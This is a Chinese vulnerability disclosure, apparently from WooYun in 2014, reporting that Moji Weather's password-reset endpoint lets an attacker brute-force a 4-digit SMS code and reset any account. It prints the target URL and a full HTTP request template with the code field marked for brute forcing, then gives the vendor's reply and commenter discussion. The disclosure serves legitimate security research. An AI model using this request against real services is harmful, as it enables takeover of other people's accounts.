墨迹天气可重置任意账号密码

墨迹天气找回密码网址：http://uc.mojichina.com/findpwd/byphone

填写手机验证码处可爆破，4位验证码，3小时有效期。

4位10000个验证码，经测试，10分钟即可跑完。

POST /findpwd/verifysmscode HTTP/1.1
 Host: uc.mojichina.com
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: http://uc.mojichina.com/findpwd/verifysms
 Content-Length: 30
 Cookie: PHPSESSID=******
 Connection: keep-alive
 Pragma: no-cache
 Cache-Control: no-cache
 
 smscode=§1111§&request_type=ajax

修改smscode爆破，任意手机号有效。

另外，你们Android客户端也可以重置任意账号密码，之前有人报告过，你们貌似加了sign字段，但不管用啊，还是就没修复啊。

你们的空气果很棒啊，之前还有免单计划，可否送我一个啊？

增加验证码长度，限制异常IP

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-07-11 21:58

厂商回复：

我方会增加验证码位数，并缩短有效时间。

最新状态：

暂无

1. 2014-07-09 16:32 | 白非白 ( 普通白帽子 | Rank:559 漏洞数:85 | ♫ Freedom - Anthony Hamilton ♫)

   0

   @xsser @疯狗 这个算重复提交吧？我提交了两个重置密码的漏洞，跟厂商沟通，厂商回应服务器端还没修复好。

   1# 回复此人

2. 2014-07-09 16:39 | 寒江不钓 ( 实习白帽子 | Rank:72 漏洞数:11 | 无他，但手熟耳 微博： http://...)

   0

   @白非白 这个是网页版的，你那是客户端

   2# 回复此人

3. 2014-07-09 16:44 | xfkxfk ( 核心白帽子 | Rank:2341 漏洞数:353 | 呵呵！)

   0

   @白非白 http://sb.f4ck.org/thread-12598-1-1.html

   3# 回复此人

4. 2014-07-09 16:48 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

   0

   @寒江不钓 @白非白 接口是不一样的？另外咱不要提前讨论或泄漏任何漏洞细节啊 ：）

   4# 回复此人

5. 2014-07-09 16:52 | xfkxfk ( 核心白帽子 | Rank:2341 漏洞数:353 | 呵呵！)

   0

   @疯狗 对头，上面个不算泄露吧。。。

   5# 回复此人

6. 2014-07-09 16:58 | 白非白 ( 普通白帽子 | Rank:559 漏洞数:85 | ♫ Freedom - Anthony Hamilton ♫)

   0

   @xfkxfk 访问不了，给个码？

   6# 回复此人

7. 2014-07-09 17:05 | zeracker ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

   0

   ........

   7# 回复此人

8. 2014-07-09 21:10 | 白非白 ( 普通白帽子 | Rank:559 漏洞数:85 | ♫ Freedom - Anthony Hamilton ♫)

   0

   @疯狗 妥妥的

   8# 回复此人

9. 2014-08-10 22:26 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

   0

   危害等级： 中 自评Rank： 20 什么情况

   9# 回复此人

10. 2014-08-25 18:51 | Arthur ( 实习白帽子 | Rank:85 漏洞数:35 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)

    0

    @zph 乌云BUG？

    10# 回复此人

11. 2014-08-25 19:06 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

    0

    @Arthur 目测是管理员们修改了自评rank，然后没改等级。。。我也遇到过几次

    11# 回复此人